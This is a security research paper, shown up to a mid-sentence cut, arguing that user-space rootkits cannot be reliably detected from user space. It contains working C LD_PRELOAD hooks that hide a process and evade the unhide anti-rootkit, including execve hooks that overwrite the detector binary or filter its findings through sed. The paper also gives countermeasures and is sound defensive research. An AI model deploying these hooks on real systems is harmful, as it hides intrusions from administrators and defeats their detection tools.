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Abstract

The kind of malware designed to conceal malicious system re-
sources (e.g. processes, network connections, files, etc.) is commonly
referred to as a rootkit. This kind of malware represents a significant
threat in contemporany systems. Despite the existence of kernel-space
rootkits (i.e. rootkits that infect the operating system kernel), user-
space rootkits (i.e. rootkits that infect the user-space operating system
tools, commands and libraries) continue to pose a significant danger.
However, kernel-space rootkits attract all the attention, implicitly as-
suming that user-space rootkits (malware that is still in existence) are
easily detectable by well-known user-space tools that look for anoma-
lies. The primary objective of this work is to answer the following
question: Is detecting user-space rootkits with user-space tools futile?
Contrary to the prevailing view that considers it effective, we argue
that the detection of user-space rootkits cannot be done in user-space
at all. Moreover, the detection results must be communicated to the
user with extreme caution. To support this claim, we conducted dif-
ferent experiments focusing on process concealing in Linux systems.
In these experiments, we evade the detection mechanisms widely ac-
cepted as the standard solution for this type of user-space malware,
bypassing the most popular open source anti-rootkit tool for process
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hiding. This manuscript describes the classical approach to build user-
space library rootkits, the traditional detection mechanisms, and dif-
ferent evasion techniques (it also includes understandable code snip-
pets and examples). In addition, it offers some guidelines to imple-
ment new detection tools and improve the existing ones to the extent
possible.

1 Introduction

Although the term rootkit has been used in different contexts as a synonym
of generic malware in the past, it is commonly used to define the malware
that is specifically designed to conceal the system resources created by other
malicious components or intruders (e.g. processes, files, network connections,
etc.), making them exceptionally difficult to detect without special tools. A
rootkit can be defined as “a set of programs and code that allows a permanent
or consistent, undetectable presence on a computer” [1]. Rootkits are not
new, the first ones (used to remove evidences from log files) emerged in the
late 1980s, and the first Linux rootkit was found in the wild in 1996 [2].
Nevertheless, they continue to pose a significant threat to the integrity and
security of contemporary systems.

Rootkits can be categorized into three main types: user-space rootkits,
kernel-space rootkits, and virtual machine rootkits. User-space rootkits infect
the user-space operating system tools, commands, and libraries. Although
they do not run privileged code (they run in Ring 3), they run with admin-
istrator permissions (i.e. root in Linux). In contrast, kernel-space rootkits
infect the operating system kernel code, permitting them to run privileged
code at the lowest level of the operating system (Ring 0). Finally, virtual
machine rootkits run code at lower privileged levels of the processor, those
used to assist virtual machine hypervisors with specialized instructions, such
as Intel VT-x (Ring -1). There are also proof of concept rootkits that run in
SSM mode (System Management Mode, or Ring -2).

Virtual machine rootkits are mostly proof of concept implementations (see
for example Blue Pill [3], SubVirt [4] or CoVirt [5]) and have not been
seen in the wild. Kernel-space rootkits are more prevalent. For example,
SucKIT [6] patches the kernel memory through the /proc/kmem file, and
TripleCross [7] uses the eBPF mechanisms of the Linux kernel. Evidently,
kernel-space rootkits are more powerful than user-space rootkits, and they
have been receiving more attention since their conception. Nonetheless, user-
space rootkits remain a significant threat and should not be overlooked or
forgotten. Note that in the last decade, multiple user-space library rootkits
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have emerged for Linux (e.g. Jynx2a, Azazel, BEURK, Zendar, Umbreon,
Bedevil, and Father) [8]. We focus on this kind of rootkits.

Traditionally, detecting user-space rootkits involves various approaches,
with the most common method being the use of user-space tools to identify
anomalies in system inspection mechanisms. These tools attempt to detect
discrepancies between the expected and actual state of system resources. The
idea that detecting user-space rootkits is trivial and can be accomplished with
simple user-space tools has become widespread. With this work, we aim to
demonstrate the opposite.

In this study, we focus on the specific challenge of process hiding in Linux
systems. Through our experiments, we seek to address the following question:
Is detecting user-space rootkits with user-space tools futile? We consider
this question to be relevant, given that the belief that developing such tools
can be effective still persists within both the industry and the cybersecurity
community. We argue that it is neither easy nor should time and effort be
spent attempting to have them operate from user-space. This is due to the
intricate nature of contemporary Linux systems.

To address this question, we make the following assumptions:

1. The rootkit controls the user-space environment, and it is able to re-
place system binaries and intercept dynamic libraries (i.e. it is able to
hook the library functions).

2. The only trusted user-space software available for the user is the anti-
rootkit. The rest of user-space tools are not trusted.

3. Kernel-space components are trusted, but the anti-rootkit does not run
any privileged code.

4. The rootkit is able to identify the anti-rootkit binary though its data
(the ELF executable file) or metadata (name, location, file size, etc.).
In the same manner that an antivirus can detect malware, the rootkit
can identify the anti-rootkit binary (searching for binary signatures and
text strings, analyzing its behavior, etc.).

We conducted several experiments, mainly focus on malicious process con-
cealing, trying to bypass one of the most popular anti-rootkit tool to detect
hidden processes in Linux systems: unhide [9, 10, 11]. Other anti-rootkits,
like OSSEC, use a simplified version of the techniques used by unhide [8].
Although there are other tools specifically designed for rootkit detection, our
focus is on unhide due to its use of general detection techniques for hid-
den processes. Other tools, like rkhunter and chkrootkit, rely on targeted
signatures for known rootkits, searching for specific indicators.
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In these experiments, we successfully deceived the detector on multiple
occasions using different techniques. By highlighting the limitations of cur-
rent detection tools like unhide, we underscore the need for more robust
approaches. We also describe potential countermeasures that could be im-
plemented by anti-rootkits to be improved. However, in certain cases, doing
so may prove to be particularly challenging.

Given this situation, in which the focus is placed on other types of rootkits
and the current user-space detection mechanisms are considered sufficient, an
advanced attacker could already be exploiting the techniques we describe in
this paper to gain persistence.

1.1 Contributions

In short, the contributions of this paper are:

• A clear and concise explanation of the operational principles of user-
space rootkits, including examples.

• A series of experiments specifically designed and implemented for this
study that include conventional dynamic linking hooking, binary sub-
version, input and output interference, double-personality execution,
namespace manipulation, and low-level system call hooking via debug-
ging mechanisms. These experiments include C language snippets with
the relevant code used to bypass the detection.

• A set of recommendations and countermeasures aimed at mitigating,
where feasible, the forms of deception described in the experiments and
improve the existing detection tools.

• A summary and analysis of the results obtained from the conducted
experiments.

1.2 Organization

The rest of the paper is organized as follows: Section 2 briefly describes
the related work; Section 3 describes the kinds of user-space rootkits and
the techniques used to hide resources; Section 4 explains how to hide ma-
licious processes in Linux systems; Section 5 showcases our experiments to
bypass detection and provides countermeasures and guidelines to improve
current tools; Section 6 discusses the results of the experiments; and Section
7 presents the conclusions.
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2 Related work

Several books centered on rootkit programming can be found in the litera-
ture. For example, Hoglund and Butler published Rootkits: Subverting the
Windows Kernel in 2005 [1], focusing on Windows operating systems. De-
signing BSD Rootkits, by Joseph Kong, was published in 2007 and focus on
BSD systems and kernel-space [12]. The Rootkit Arsenal was published in
2009 [13], and it is also centered on Windows systems. Davis et al. published
Hacking Exposed: Malware and Rootkits [2] also in 2009. None of these books
describe the problems addressed by this study.

As is often the case in this domain, there is a limited body of academic
work addressing the topic of Linux rootkit construction and detection eva-
sion. The majority of the knowledge in this domain originates from non-
academic publications, like hacking conferences and magazines, and techni-
cal blogs. On the other hand, there are multiple academic publications on
rootkit detection, particularly those operating at the kernel level (see for
example [14, 15, 16, 17, 18, 19].)

Most works on Linux rootkit creation are centered on kernel-space (Ring
0) or lower privilege modes, for example:

• King and Chen created SubVirt [4] in 2006, a Ring -1 rootkit. Their
prototype was able to subvert Windows and Linux systems.

• In 2008, Lacombe et al. introduced a functional architecture for rootk-
its and outlined criteria to define and evaluate them [20]. They also
presented a Linux kernel-space rootkit prototype and new stealth tech-
niques to enhance its concealment.

• Joy et al. published a survey on rootkit detection mechanisms in
2012 [21]. They focus on kernel-space rootkits, underestimating the
threat posed by user-space rootkits.

• in 2013, Riley presented DORF (Data-Only Rootkit Framework) [22], a
framework for prototyping and testing data-only kernel rootkit attacks
that can be ported between different Linux versions. This approach
(data only attack) consists of modifying the kernel data structures with-
out injecting new executable code.

• In 2022, Szaknis et al. [23] presented an SMM rootkit proof of concept
prototype. SMM (System Management Mode), or Ring -2, is a special
privilege mode of Intel processors (more privileged that the kernel,
which runs in Ring 0). This mode has access to the whole memory and
it is normally used by the firmware.
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Tian et al. described different hooking mechanisms used by Linux rootk-
its [24] in 2011, including the well-known LD PRELOAD technique we used for
our experiments.

Recently, Stühn et al. published a paper analyzing the threat of Linux
rootkits and the effectiveness of current detection tools [8]. In this work, they
test different Linux anti-rootkit tools (including rkhunter, chkrootkit, and
unhide) with 21 different real rootkits. They also propose best practices and
provide a repository of indicators to aid in rootkit detection. The authors
conclude that the current means to detect rootkits on Linux are insufficient.
We concur, and with the present study, try to redirect all efforts toward
improving this situation through the development of kernel-space tools rather
than user-space solutions.

There are multiple communications in hacking magazines and conferences
that describe different approaches to implement rootkits and detection mech-
anisms. Again, kernel-space rootkits attract more attention than user-space
rootkits. Several articles on Linux kernel rootkits have been published in the
Phrack magazine since the early 2000s (see for example [25, 6, 26, 27]). We
also found some old Phrack articles for library call redirection [28], the use
of library hooks to subvert secure shells [29], etc. None of these publications
describe the methods we showcase to conceal resources or deceive the user
(e.g. the use of namespaces, bind mounts, or output manipulation).

An article recently published in another relevant hacking ezine, tmp.0ut,
describes techniques to create kernel-space rootkits [30]. The author states
that “it is much easier to detect and mitigate a rootkit in userland than in
kernel land”. This is not true if the detection and mitigation are imple-
mented in user-space. We aim to persuade readers of this claim through the
experiments presented in this study1

Also in 2025, Berger offered a thorough exploration of the evolution, tech-
niques, and detection of Linux rootkits in a conference communication [32].
He classified the library hooking techniques as amateur-level methods and
explained some typical detection methods: (i) Watching configuration files;
(ii) Inspecting the process environment; (iii) Using the detection tecniques
of unhide; and (iv) Creating statically linked binaries to avoid the classic
dynamic library hooking mechanisms.

1While we are writing this manuscript, the author of [30] published a blog post ti-
tled “Bypassing LD PRELOAD Rootkits Is Easy” [31]. The detection method described
in the blog can be bypassed by several experiments described in next sections. In fact,
Section 5.4.1 describes an experiment for bypassing the detection program that is pro-
posed in the blog post. This anecdote highlights the erroneous widespread belief that the
detection of user-space rootkits with a user-space program is not only feasible, but also
straightforward.
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In our experiments, we were able to bypass all of them. This is yet
another piece of evidence that within the cybersecurity community, there
exists a false belief that this kind of rootkits is harmless and can be easily
detected in user-space.

3 User-space rootkits

As stated before, user-space (also known as userland or user mode) rootkits
only infect the user-space components of the system. This means that they
execute in non-privileged mode (Ring 3 in Intel machines).

There are two main types of rootkits in this category: binary rootkits and
library rootkits.

Binary rootkits (also known as application level rootkits [8]) patch or
completely replace the legit commands and tools of the system to hide
the malicious resources. For example, the rootkit IV is an old trojan for
Linux (1998) that replaces several commands with malicious counterparts
(du, find, ifconfig, ps, etc.). Ramen is another example, it replaces bina-
ries like ps, ls, and netstat with malicious versions in old Red Hat Linux
systems. To detect binary rootkits, the usual method is comparing the hash
of the binaries with the hash of the legit binaries of the operating system
distribution.

Library rootkits are able to intercept function calls to dynamic libraries.
This way, they can manipulate the behavior of critical libraries, such as the
C standard library (libc), used by practically all the commands and tools
of the system. Note that this technique permits the rootkit to intercept also
system calls, because they are usually performed through the libc functions
and stubs. An example is Jynx2 [33]. It hides processes from ps and top,
files, connections from netstat, and so on. It uses one of the most popular
methods to hook dynamic libraries in Linux: Manipulating the LD PRELOAD

environment variable. There are multiple rootkits that use this technique [8].
Note that there are other methods to hook dynamic libraries. For exam-

ple, to subvert the data structures for dynamic linking (the GOT and PLT)
of the process in order to redirect the function calls [34].

We will use the popular LD PRELOAD method to implement the proof of
concept rootkits for our experiments.

3.1 LD PRELOAD: A classic

In a Linux system, when a function is invoked by a dynamically linked pro-
gram, the dynamic loader resolves the symbol, loads the library if necessary
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in the virtual memory space of the process, and jumps to the corresponding
instruction.

The dynamic loader (/lib/ld-linux.so) searches for the symbol in sev-
eral places, in a specific order. For example, the search sequence could be2:

1. The file with the path specified by the environment variable named
LD PRELOAD (if it is set).

2. If the symbol has the “/” character, it is considereded a path. If the
file exists and export the symbol, it is selected.

3. The files of the directories specified by the DT RPATH section of the ELF
binary, or the DT RUNPATH attribute.

4. The files of the directories specified by the environment variable named
LD LIBRARY PATH.

5. The files found in the /lib directory.

6. The files found in the /usr/lib directory.

Therefore, if the LD PRELOAD environment variable is set, it has the max-
imum priority. If the dynamic library specified by this variable provides the
function that our program is invoking, the dynamic linker will pick this one.

This simple trick is used to hook library functions. Note that any of the
first locations of this list could be exploited to create the hook for a common
library located in the standard directories. The same effect can be obtained
using the /etc/ld.so.preload file.

For example3, the following library hooks the printf function of the libc:

#define _GNU_SOURCE

#include <stdio.h>

#include <dlfcn.h>

#include <stdlib.h>

#include <stdarg.h>

#include <unistd.h>

#include <string.h>

int printf(const char *format , ...)

{

va_list list;

char *parg;

typeof(printf) *legit;

va_start(list , format);

2The sequence depends on the concrete Linux system, this is just an example.
3This code and the rest of examples are C code for standard Linux systems running on

Intel x86 64 machines.
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vasprintf (&parg , format , list);

va_end(list);

write(1, "EVIL\n", 5);

legit = dlsym(RTLD_NEXT , "printf");

return (*legit)("%s", parg);

}

This function creates a list for the variadic arguments, writes “EVIL”
to the standard output (the file descriptor in position 1, stdout), and then
calls the real, legit printf function of the libc. To get a pointer to the
legit printf function, it uses the dlsym function (provided by the dynamic
linking library, dl).

Now, we compile and link this code to generate a dynamic library:

$> gcc -Wall -fPIC -c -o fakeprintf.o fakeprintf.c

$> gcc -shared -fPIC -Wl,-soname -Wl,libfakeprintf.so -o libfakeprintf.so

fakeprintf.o -ldl

$>

Consider the following C program, named program.c:

#include <stdio.h>

int

main(int argc , char *argv [])

{

char *s = "Joe";

printf("Hi␣%s␣I␣am␣your␣program\n", s);

return 0;

}

We compile, link and run the program:

$> gcc -o program program.c

$> ./ program

Hi Joe I am your program

$>

It works as expected. Nevertheless, if we set the LD PRELOAD environment
variable with the path of our malicious library:

$> export LD_PRELOAD=$PWD/libfakeprintf.so
$> ./ program

EVIL

Hi Joe I am your program

$>

We can see that the hook is working: Our malicious code executes before
the real printf function is called.

Note that the executable file, program, has not been rebuilt and does not
need any modification to be hooked. If we use the ldd command to list all
the libraries that our program will use, we will see our malicious library:
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$> ldd ./ program

linux -vdso.so.1 (0 x00007d783d5a6000)

/tmp/libfakeprintf.so (0 x00007d783d596000)

libc.so.6 => /lib/x86_64 -linux -gnu/libc.so.6 (0 x00007d783d200000)

/lib64/ld-linux -x86 -64.so.2 (0 x00007d783d5a8000)

$>

Note that the hook is activated for any dynamically linked executable
that is run in this shell (including all the system’s commands). When the
variable is unset, the hook disappears:

$> unset LD_PRELOAD

$> ./ program

Hi Joe I am your program

$>

This mechanism possesses greater power than it initially appears.
For example, in Ubuntu 24.04, all the binaries in /bin and /sbin are

dynamically linked ELF files, except busybox and ldconfig.real:

# file /bin/* | grep ELF | grep -v dynamically

/bin/busybox: ELF 64-bit LSB executable , x86 -64, ...

# file /sbin/* | grep ELF | grep -v dynamically

/sbin/ldconfig.real: ELF 64-bit LSB pie executable , x86 -64, version 1 (GNU/

Linux), static -pie linked , ...

#

This means that all commands are vulnerable to hooking, including the
standard shells like bash and dash. If the rootkit hooks a big set of library
functions and the system calls stubs, it can be considerably difficult to detect
the hooks.

To illustrate this, consider the following example.
This is a hook for the popular strcmp function, that compares two C

strings:

int strcmp(const char *s1 , const char *s2)

{

typeof(strcmp) *legit;

legit = dlsym(RTLD_NEXT , "strcmp");

if (! iam(shells)) {

return legit(s1 , s2);

}

if (equals(s1, "LD_PRELOAD") &&

equals(s2, "LD_PRELOAD")) {

return 1;

}

return legit(s1 , s2);

}

In this code, iam is a custom function that returns true if the current
process is a shell 4, and equals is another custom function that compares

4The parameter of this function is the list of shells to be detected, for example, bash
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two strings. This way, when a shell compares two strings with the value
“LD PRELOAD”, the result is always the same: They are not equal. This
simple hook provokes the following effect in the shell:

$> echo $LD_PRELOAD

$> export LD_PRELOAD=$PWD/libfakelibc.so
$> echo $LD_PRELOAD
/home/esoriano/ununhide/libfakelibc.so

$> bash

$> echo $LD_PRELOAD

$>

In the new shell, we cannot print the value of the LD PRELOAD variable by
using the echo command (the usual way to do that). Why? Because bash

uses strcmp to search the name of the environment variable in an internal
table. If bash uses the hooked version, it will never find the variable in the
table. We could print the variable using other commands in the shell, for
example:

$> set | grep LD_PRELOAD

LD_PRELOAD =/tmp/libfakelibc.so

$>

Analogously, we could use similar tricks to pervert set and the rest of the
commands that can be used to print the value of this environment variable.
For instance, we could hook fprintf and puts to avoid printing some values,
etc. We can also modify the getenv function (that returns the value of an
environment variable) like this:

char *getenv(const char *name)

{

typeof(getenv) *legit;

legit = dlsym(RTLD_NEXT , "getenv");

if (equals(name , "LD_PRELOAD", 10)) {

return NULL;

}

return legit(name);

}

There are other methods to discover library rootkits, such as reading the
preloaded libraries (e.g. from /etc/ld.so.preload) [8]. Consequently, some
rootkits try to hide this file.

There are several objects in /proc (we will describe this directory later
in Section 4) that can be inspected to detect library rootkits [35, 32]:

• /proc/PID/maps has the information about the memory regions of the
process, including the loaded libraries (in Linux, dynamic libraries are
files mapped in memory with mmap).

or dash.

11



• /proc/PID/map files is a directory that contains symbolic links to
the files mapped in the memory of the process.

• /proc/PID/environ includes the environment variables of the process
(including LD PRELOAD.

As we will show in our experiments, we are able to hide selected files,
manipulate the files under /proc, and filter the output of the user-space
commands (e.g. ldd, lsof, etc.) to avoid these detections.

If the system is infected with an advanced library rootkit, it will be very
difficult to discover the hooking mechanisms.

For now on, we assume that the user-space is compromised and the rootkit
is able to hook the shell that is used to run the user-space anti-rootkit tools,
by using LD PRELOAD or any other similar mechanism.

4 Concealing processes in Linux

In this section, we will focus on process hiding detection. Concealing pro-
cesses in Linux with library hooks is easy.

In Linux, the standard method to get information about the processes
consists of inspecting the directories and files provided by /proc. The tra-
ditonal Unix commands used to inspect processes, such as ps and top, rely
on this file subtree. Those files are synthetic (or virtual) files, provided by
the procfs file system. Basically, this file system offers a directory for each
process (named as its process id, or PID5). Within this directory, there are
different files to access the attributes of the process.

To hide a process, we can hook the functions used to read the entries of
a directory. Directories are usually read with readdir. To use this function,
we must open the directory with opendir, that returns a pointer to a DIR

structure. Then, we call readdir passing this pointer as an argument. In
each call, readdir returns a directory entry. When it reaches the end of the
directory, it returns a NULL pointer. Then, the directory must be closed.

This is our hook for readdir. From now on, we suppose that the PID of
the hidden process is stored in a variable named UNUNHIDEPID. Our LD PRELOAD

rootkit will read this variable. The hooks for our experiments retrieve its
value by calling a function named pid():

struct dirent *readdir(DIR *dirp)

{

typeof(readdir) *legit;

5In Unix, the PID is a positive number that is increased each time a new process is
created, that identifies a process in the system unequivocally.
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struct dirent *dent;

legit = dlsym(RTLD_NEXT , "readdir");

int pid;

char str [64];

pid = __getpid ();

if (pid == -1) {

return legit(dirp);

}

snprintf(str , 64, "%d", pid);

do{

dent = legit(dirp);

if(dent != NULL && strcmp(dent ->d_name , str) != 0) {

return dent;

}

}while(dent != NULL);

return NULL;

}

If the current entry’s name equals the PID we are hiding, we skip it. This
suffices to conceal the process. Of course, this hook could be refined to hide
just /proc/PID , but we want to keep the examples simple.

In the next example, we run the sleep command in background. It will
sleep for 10000 seconds. The PID of the process is 50552. Then, we list the
current processes that are executing the sleep command with ps and top,
and list the corresponding directory in /proc:

$> sleep 10000 &

[1] 50552

$> ps axo user ,pid ,comm | grep sleep

esoriano 50552 sleep

$> top -b | grep sleep

Tasks: 455 total , 1 running , 453 sleeping , 0 stopped , 1 zombie

50552 esoriano 20 0 8292 1880 1880 S 0.0 0.0 0:00.00 sleep

^C

$> ls -l /proc/ | grep 50552

dr-xr-xr -x 9 esoriano esoriano 0 May

13 14:13 50552

$>

We can see the process. Now, if we activate the rootkit and run the same
commands:

$> export LD_PRELOAD =/tmp/libfakelibc.so

$> export UNUNHIDEPID =50552

$> ps axo user ,pid ,comm | grep sleep

$> top -b | grep sleep

Tasks: 456 total , 1 running , 452 sleeping , 0 stopped , 2 zombie

^C

$> ls -l /proc/ | grep 50552

$>

Now, we cannot find the process with the standard commands (ps and
top). We will use this simple mechanism for our experiments.

Note that our proof of concept rootkit could be improved to be much
more powerful, by hooking additional functions (e.g. opendir, getdents,
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getdents64, openat, etc.). An advanced library rootkit would do that.

5 Detection and evasion

5.1 Hooking the anti-rootkit

The standard version of unhide, which is available as a package in most Linux
distributions (e.g. Ubuntu, Debian, etc.) is a dynamically linked binary. For
example, in a Ubuntu 24.04 system:

# apt install unhide

...

# file /usr/sbin/unhide -linux

/usr/sbin/unhide -linux: ELF 64-bit LSB pie executable , x86 -64, version 1

(SYSV), dynamically linked , interpreter /lib64/ld -linux -x86 -64.so.2, ...

stripped

#

Therefore, the antirootik itself can be hooked.

5.1.1 Experiment: Hooking all the system call stubs

Unhide performs different tests to compare the contents of /proc with the
output of the ps command. Thus, we must hook the functions used to deal
with the directories in order to hide the malicious PID.

It also checks if there is any directory in /proc for PIDs that are not in
use, with these system calls:

• stat to get the metadata of the directory.

• chdir to change the current working directory.

• opendir to open the directory.

We need to hook these functions. For example, the stat hook could be:

int stat(const char *restrict pathname , struct stat *restrict statbuf)

{

typeof(stat) *legit;

legit = dlsym(RTLD_NEXT , "stat");

int pid;

pid = __getpid ();

if (pid == -1) {

return legit(pathname , statbuf);

}

if (! iam(anti -rootkits)) {

return legit(pathname , statbuf);

}

if (basenamepid(pathname , pid)) {
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errno = 1;

return -1;

}

return legit(pathname , statbuf);

}

If the caller is not unhide, it calls the real stat. If the path passed to the
function ends with the PID that is being hidden, the custom basenamepid

function returns true. Then, the stat function fails. For example, if the
hidden PID is 10355 and the path passed to stat is /proc/10355, it fails.

If we do the same with the other functions (we omit them for brevity),
the checks for /proc anomalies fails and the tool does not detect any hidden
process:

# ps axo user ,pid ,comm | grep sleep

esoriano 10355 sleep

# export LD_PRELOAD =/tmp/libfakelibc.so

# export UNUNHIDEPID =10355

# ps axo user ,pid ,comm | grep sleep

# unhide -linux -V | head -1

Unhide 20211016

# unhide -linux procall

Unhide 20211016

Copyright 2010 -2021 Yago Jesus & Patrick Gouin

License GPLv3: GNU GPL version 3 or later

http ://www.unhide -forensics.info

NOTE : This version of unhide is for systems using Linux >= 2.6

Used options:

[*] Searching for Hidden processes through /proc stat scanning

[*] Searching for Hidden processes through /proc chdir scanning

[*] Searching for Hidden processes through /proc opendir scanning

[*] Searching for Hidden thread through /proc/pid/task readdir scanning

... (some false positives , but our hidden process is not detected) ...

#

Unhide performs other tests to check if a PID is in use with the following
functions:

• getpriority to get the priority.

• getpgid to get the PID of the parent process.

• getsid to get the session id.

• kill to send a signal to the process.

• sched getaffinity, sched getparam,
sched getscheduler and sched rr get interval to get some schedul-
ing attributes.

15



For example, it tries to get the priority of all (apparently) unused PIDs
with the getpriority system call. If the system call does not fail when
asking about the priority of an unused PID, then this PID is a hidden process.
We can hook this function like this:

int getpriority(int which , id_t who)

{

typeof(getpriority) *legit;

legit = dlsym(RTLD_NEXT , "getpriority");

int pid;

pid = __getpid ();

if (pid != -1 && which == PRIO_PROCESS && who == pid) {

errno = 1;

return -1;

}

return legit(which , who);

}

This function always return error when who is the PID we want to hide.
If we do the same with all the enumerated functions, the process will not

be detected.
In addition, unhide does a brute force search for the whole PID space

for user processes (i.e. all possible PIDs from 301 to the maximum PID). It
tries to create a new process and, if the PID is already in use, it is checked.
It repeats this operation to cover all the PID space (which can be huge,
by default in Ubuntu 24.04 it is 222). Thus, this detection is cpu intensive.
Moreover, it produces a lot of false positives.

Unhide uses the vfork system call and the pthread functions to create
and and wait for threads.

As an example, this hook for vfork can hide our process (just for the
first mechanism of the brute force approach):

enum {

MinPid = 300,

};

static pid_t __lastpid = MinPid;

pid_t vfork(void)

{

pid_t pid;

pid_t maxpid;

pid = __getpid ();

if (pid == -1) {

return fork();

}

if (! iam(anti -rootkits)) {

return fork();

}

maxpid = readmaxpid ();

if (maxpid == 0) {

return fork();
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}

for (;;) {

if (++ __lastpid >= maxpid -1) {

__lastpid = MinPid +1;

}

if (__lastpid == pid) {

errno = 0;

return __lastpid;

}

if (! pidexists(__lastpid)) {

errno = 0;

return __lastpid;

}

}

}

The custom function readmaxpid retrieves the maximum PID for the
system. The function pidexists returns true if the PID already exists.

If the caller is not the anti-rootkit or we are not hiding any process,
the function calls the standard fork6. In contrast, when unhide calls this
function, no process is created. The hook returns the next PID not in use,
except in the case of the hidden process. In that case, it returns its PID, even
though it is in use. This is enough to evade the detection based on vfork:

# unhide -linux brute

Unhide 20211016

Copyright 2010 -2021 Yago Jesus & Patrick Gouin

License GPLv3: GNU GPL version 3 or later

http ://www.unhide -forensics.info

NOTE : This version of unhide is for systems using Linux >= 2.6

Used options:

[*] Starting scanning using brute force against PIDS with fork()

... (several false positives , but our hidden process is not detected) ...

[*] Starting scanning using brute force against PIDS with pthread functions

...

Although this technique may be effective, as we will see later, there are
other, more subtle techniques that may be more suitable for evading brute
force detection.

We hope that the experiments presented in this section are sufficient to
illustrate that, if the anti-rootkit can be hooked and the rootkit is advanced,
most if not all detections could be evaded.

6Note that, according to POSIX, on some systems, vfork is the same as fork.
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5.1.2 Countermeasues

The fact that a rootkit can hide itself by using hooking is a well-known issue.
Nevertheless, the standard packages of unhide for popular Linux distribu-
tions are dynamically linked programs and, as such, can be hooked.

To avoid evasion, there are three basic approaches:

1. Creating a statically linked binary for the anti-rootkit. Obviously, in
this case, the hooking mechanisms for dynamic libraries cannot work
for the anti-rootkit. If the user builds a custom installation of unhide
from its source code, she can generate a statically linked binary.

2. Writing the anti-rootkit in a programming language that uses the appli-
cation binary interface (ABI), avoiding the use of the libc to perform
system calls. This is the case of the Go programming language (which
also generates statically linked binaries).

3. Performing the system calls directly from the anti-rootkit code, without
relaying on any library. For example, unhide-ng (the experimental
version of unhide) performs the open system call (to open a file) and
the getdents system call (to read the entries of a directory) directly.
The C program includes some embedded assembly code to do this.

From now on, we will consider the case of an anti-rootkit that cannot be
hooked with LD PRELOAD.

5.2 Subverting the shell

The LD PRELOAD mechanism affects all the dynamically linked programs, in-
cluding the shell that is going to execute the anti-rootkit.

Suppose that we want to execute ls in our shell. The following steps are
performed by the shell (Figure 1 depicts the process)

1. The shell reads the command line, parses it, expands the correspond-
ing items (e.g. variables, substitutions, globbing, etc.). In this case,
suppose that the line is:

ls -l

2. The shell’s process forks, creating another process. Fork creates a new
process that is a clone of its creator. This process performs some actions
to configure the input and output (i.e. redirections), etc. This is done
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bash bash

bash

bash

ls

1) 2) 3)

execvefork

Figure 1: The shell (1) reads a command line, (2) creates a new process
that executes the shell program, and (3) finally the new process executes the
desired program (ls in this example):

by the new process (the child), not by the shell’s process (the parent).
The important point is that, at this moment, the child is executing the
code of the shell’s binary (and the libraries).

3. When everything is configured, the new process performs the execve

system call to execute the program that was specified by the line. If
this system call is successful, the new binary is loaded in the process’
memory by the kernel and the new program begins the execution, start-
ing in its entry point. Thus, execve does not return if the system call
is successful.

We will consider it in this paper, but note that hooking the substitution calls,
for example the call to the function glob from the C library is another vector
of attack. We could easily use it to change the parameters or the command
itself about to be executed.

In step 2, if fork and execve are hooked, we can control the configuration
of the child process.

As we will see, hooking the execve function is very powerful. This is the
main mechanism used by snoopy [36], a popular tool for logging and audit
the execution of commands in Linux systems. Surprisingly, this appears to
have been overlooked by most authors.

5.2.1 Experiment: Executing a different binary

The hooked execve is able execute a malicious version of the anti-rootkit
(with a different path than the one provided to the execve function) or
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simply replace the anti-rootkit binary with a malicious version that hides
our processes.

Consider the following code:

unsigned char malicious [] = {

0x7f , 0x45 , 0x4c , 0x46 , 0x02 , 0x01 , 0x01 ,

... more lines ...

0x00 , 0x00 , 0x00 , 0x00

};

unsigned int malicious_len = 50656;

int execve(const char *pathname , char *const __argv[], char *const envp [])

{

int fd;

typeof(execve) *legit;

legit = dlsym(RTLD_NEXT , "execve");

if (isunhide(pathname)) {

fd = open(pathname , O_TRUNC|O_CREAT|O_WRONLY , 0700);

if (fd != -1) {

write(fd, malicious , malicious_len);

close(fd);

}

}

return legit(pathname , __argv , envp);

}

The custom function isunhide detects if the binary that is going to be
executed is unhide. In this case, it overwrites the file with a malicious versión
of unhide, which is stored in the byte buffer named malicious. Note that
this fake version of unhide may be the legit dynamically linked version,
which can be hooked (like in the previous section), or any other program
that emulates unhide.

Alternatively, this function could patch the legit binary to remove some
undesired code. For example, we could use the same approach than zpo-

line [37], to replace all the syscall instructions with different ones to in-
tercept the system calls.

Note that the hook showed above controls the path to the executable file,
so any other program could be executed.

In addition, it controls the arguments passed to the anti-rootkit (the
argv parameter). Therefore, the hook is able to change any argument

passed to unhide-ng. For instance, it is able to change the type of scan that
will be performed (e.g. to select the less powerful one).

5.2.2 Experiment: Filtering the output

In the following experiment, we are going to manipulate the output of the
anti-rootkit. In this case, the results seen by the user will be forged to hide
the process.
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The following hook executes unhide-ng and filters its output to remove
all the detections. It creates a pipe to connect a filter made with the sed

command, which is executed in another process:

int execve(const char *pathname , char *const __argv[], char *const envp [])

{

char *sedcmd = "/^( Found␣HIDDEN␣PID|\\ tCmdline |\\ tExecutable |\\

tCommand |\\t\\$USER |\\t\\$PWD).*/d";
int p[2];

typeof(execve) *legit;

legit = dlsym(RTLD_NEXT , "execve");

if (isunhide(pathname) && pipe(p) != -1) {

switch (fork()) {

case -1:

close(p[0]);

close(p[1]);

break;

case 0:

close(p[1]);

dup2(p[0], 0);

close(p[0]);

execl("/bin/sed", "sed", "--unbuffered", "-E",

sedcmd , NULL);

exit (0);

default:

close(p[0]);

dup2(p[1], 1);

close(p[1]);

unbuffer(pathname , __argv);

exit (0);

}

}

return legit(pathname , __argv , envp);

}

This experiment is more complex than the previous ones. Figure 2 depicts
the processes involved in this experiment. In this hook:

• The pipe is created.

• A new process is created to execute sed, that will execute the line stored
in the string named sedcmd. The pipe is redirected to the standard
input of this process. The sed command will remove all lines that
match the regular expression (i.e. all lines written by unhide-ng when
a hidden process is found).

• In the process that will launch unhide-ng, the pipe is redirected to the
standard output. This process calls the custom function unbuffer.

• The custom function unbuffer is essential for this deception to work
effectively. Internally, this function creates a new process to execute
unhide-ng and avoid problems with the buffered operations provided
by the stdio functions that are used by to print the messages.
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bash

unbuffer

unhide-ng

sed

/dev/pts/9

stdout stdinpipe stdout

stdout

Figure 2: The four processes created in the filter experiment.

If this trick were not employed, the consequence would be that no
unhide-ng messages would be visible to the user until the detection
process has fully concluded, due to buffering-related issues. If the out-
put of unhide-ng is a pipe (not a terminal) then the stdio buffered
I/O operations behave differently: They do not flush the buffer for each
line written by unhide-ng. Such behavior is highly suspicious.

In addition, unhide-ng can detect with isatty if its standard output
is not a terminal (it does not check this, but it could be done as a
countermeasure).

The unbuffer function7 creates a pseudoterminal [38] and executes
